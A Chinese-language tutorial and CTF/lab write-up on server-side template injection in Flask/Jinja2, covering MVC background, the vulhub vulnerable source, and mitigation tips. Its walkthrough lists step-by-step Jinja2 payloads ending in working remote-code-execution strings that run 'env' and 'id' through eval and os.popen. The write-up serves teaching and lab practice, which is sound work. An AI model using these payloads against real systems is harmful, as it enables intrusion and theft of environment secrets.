首先了解模板引擎:
模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。
模板引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过
简而言之我的理解是模板引擎的关键就是只需要用户提供数据给模板便可以生成前端html页面,模板引擎有一定的防范机制,但是可以利用一定技术去绕过破解
SSTI模板注入
SSTI 就是服务器端模板注入(Server-Side Template Injection)
当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。
漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。
凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是,沙盒绕过只是由于模板引擎发现了很大的安全漏洞,然后模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎
MVC模式是什么
Model1模式:使用纯JSP或者JSP+JavaBean开发,存在如下缺陷:JSP页面中混合了HTML和JAVA代码,从而给代码的开发和阅读带 来了麻烦;系统后期维护和扩展非常困难,例如在JSP页面进行数据库连接和操作,如果需要对数据库进行任何修改,都必须打开所有操作数据库的JSP页面进 行相应的修改,当页面非常多的时候,工作量相当大;系统不容易调试,由于HTML、JAVA、JavaScript都混合在一起,必须要启动服务器并调用 JSP页面才能查看运行效果。故此模式适合小规模的WEB应用开发。
JSP+JavaBean开发,虽然实现了逻辑功能和显示功能的分离,但是由于视图层和控制层都是由JSP页面实现的,即视图层和控制层没有实现分离,所以它任然属于Model1模式。
Model2模式——MVC开发模式
它是为了克服Model1存在的不足而设计的,MVC的具体含义是:model+view+control,即模型+视图+控制,这样的模式集成了JSP、Serclet、JavaBean,非常适合大型项目的开发。
View视图层:
代表和用户交互的界面,可以通过html、xml、applet小java程序等实现,它仅仅负责数据的采集和处理(显示)。在JSP中它由JSP页面单独实现。
Model模型层:
它常常使用JavaBean来编写,它接受视图层请求的数据,然后进行相应的业务处理并返回最终的处理结果,它负担的责任最为核心,并利用JavaBean具有的特性实现了代码的重用和扩展以及给维护带来了方便。
Control控制层:
控制层是从用户端接收请求,然后将请求传递给模型层并告诉模型层应该调用什么功能模块来处理该请求,它将协调视图层和模型层之间的工作,起到中间枢纽的作用,它一般交由Serclet来实现。
MVC开发模式与Model1模式比较,显示出如下特点:
(1)各层各负其责,互不干涉。各自更新之后对其它层没有任何干扰;
(2)MVC开发模式有利于责任分工,让专门人员分别从事专门层的设计,提高工作效率和质量;
(3)组件可以得到很好的重用,由于分工明确,各层的组件可以独立成一个可以重用的组件。
但是MVC开发模式相对Model1来说比较复杂,所以它比较适合开发大中型项目应用,而Model1模式适合小规模的WEB应用开发。
为什么模板引擎是危险的?
SST 表面上看起来并没有什么危害,但是如果你仔细研究的话,会发现它能在模板中执行本机函数,这就意味着如果攻击者能够向模板文件中写入这种表达式,他们就能够执行任意函数。
那 require() 和 eval() 函数来说,require() 函数会包含一个文件并执行,eval() 函数不是执行文件,而是将字符串当成代码来执行。
将未经处理的输入传递给 eval() 函数是极其危险的,你们的编程老师应该都跟你们反复提到过。但是当涉及到处理模板引擎时,很多人就忽略了这一点。所以,有时候你看到的代码会是下面这样的:
漏洞成因在于
render_template函数在渲染模板的时候使用了%s来动态的替换字符串,我们知道Flask 中使用了Jinja2 作为模板渲染引擎,{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{1+1}}会被解析成2。
利用步骤:
获取基本类->获取基本类的子类->在子类中找到关于命令执行和文件读写的模块
常用函数
__class__ 返回调用的参数类型
__bases__ 返回类型列表
__mro__ 此属性是在方法解析期间寻找基类时考虑的类元组
__subclasses__() 返回object的子类
__globals__ 函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价
vulhub SSTI 复现
漏洞源码:
from flask import Flask, request
from jinja2 import Templateapp = Flask(__name__)@app.route("/")
def index():name = request.args.get('name', 'guest')t = Template("Hello " + name)return t.render()if __name__ == "__main__":app.run()
tips:补充知识(这点知识卡了我好久!!!)
__class__获取调用类型,这个是两个下划线_ _只是打出来连在一起了
示例:
1.先输入python
2.输入''.__class__(__是两个下划线)
所以我们的ssti注入就可以开始了!
1.打开vulhub 的flask的ssti
这步骤我就不写了,大家百度一下吧,基本上第一个教程配置docker-vulhub打开的就是ssti
打开之后是这样,然后分析刚才的代码里面有个name参数可控
并且他是有template模板渲染的,尝试注入
2.初步验证SSTI注入
5*5被执行了,所以这里存在SSTI注入
3.开始注入
这里我带大家初步过一下
tips:注入出来东西是看不到的,需要查看页面源代码ctrl+u
1.先获取类
payload:
{{''.__class__}}
先使用该payload来获取某个类,这里可以获取到的是str类,实际上获取到任何类都可以,因为我们都最终目的是要获取到基类Object。
2.获取基类
payload:
{{''.__class__.__bases__}}
3.获取基类的所有子类
payload:
{{''.__class__.__base__.__subclasses__()}}
4.找所有存在eval的类
{{''.__class__.__base__.__subclasses__()[166]}}
这里官方给了一个方向是catch_warnings类
然后我大概搞了一下,这个类在第167个,但是下标从0开始就是166个
5.选中这个类
先声明一下下面的网址有时候有点变化的原因是我也在搞buuctf的这个ssti,跟我靶机有点没分开就是我人晕了,但是没有影响,重要的是对name参数的注入
格式都是?name+payload
payload:
{{%27%27.__class__.__base__.__subclasses__()[166]}}
6.在这个类中找他的初始化函数里面的所有全局变量
然后看看这里面有没有危险函数eval
payload:
{{''.__class__.__base__.__subclasses__()[166].__init__.__globals__}}
存在eval
然后我们怎么选择eval函数呢???
找{}这种大括号
别问我为什么没有右括号,我视力不好没看到在哪,反正他被'__builtins__'这一个键里面的{}号包围了
所以怎么选择呢?那就是
['__builtins__']['eval']
找到危险函数那就是最后的代码执行阶段了
原本代码执行这么写eval('__import__("os").popen("env").read()')
那已经选中了eval是不是右边加上('__import__("os").popen("env").read()')这一部分就好了!!!
7.代码执行
payload:
?name={{''.__class__.__base__.__subclasses__()[166].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("env").read()')}}
因为是buuctf的题所以我直接干出flag了,flag在环境变量里,所以意思就是我们只要代码执行env获取环境变量就好了
你自己玩的时候可以试下whoami,也是可以的
替你们演示一下whoami吧
还有文件读取ls -al
tips:怎么判断你有没有成功执行呢,如果不成功是会返回500哪个一看就是错误的页面的,如果只有一个hello那也是执行成功了,你可以查看源代码里面看看东西
这里我会对着官方payload给你们分析一下,了解步骤:
补充知识:
-
语句{%...%}
-
变量{{...}}
-
注释{#...#}
官方payload:
{% for c in [].__class__.__base__.__subclasses__() %} 遍历所有的子类
{% if c.__name__ == 'catch_warnings' %} 找出子类中名为catch_warinings的类{% for b in c.__init__.__globals__.values() %} 在这个类的初始化函数(__init__)中包含的全 局变量里进行遍历{% if b.__class__ == {}.__class__ %} 假如某个全局变量的类型是字典 (dict) 类型{% if 'eval' in b.keys() %} 检查这个字典是否有 'eval' 这个键。{{ b['eval']('__import__("os").popen("id").read()') }} 调用eval函数执行命令{% endif %}{% endif %}{% endfor %}
{% endif %}
{% endfor %}
目的:找到eval函数
步骤:在所有子类中找到一个可能含有eval的类,然后遍历这个类中的所有的全局变量,看里面是否有eva
然后就通关了,也可以像payload一样执行id
这就是模板注入
SSTI缓解手段:
避免引入SSTI漏洞的最简单方法之一是始终使用“无逻辑”模板引擎,如Mustache,除非绝对必要。尽可能将逻辑层与渲染层分离,可以大大减少面临最危险的基于模板的攻击的风险。另一种措施是仅在沙盒环境中执行用户的代码,在该环境中,潜在危险的模块和功能已被完全删除。但是沙箱也会存在被绕过的风险。最后,另一种补充方法是通过在封闭的Docker容器中部署模板环境来部署沙箱。
也可以先将模板渲染再拼接字符串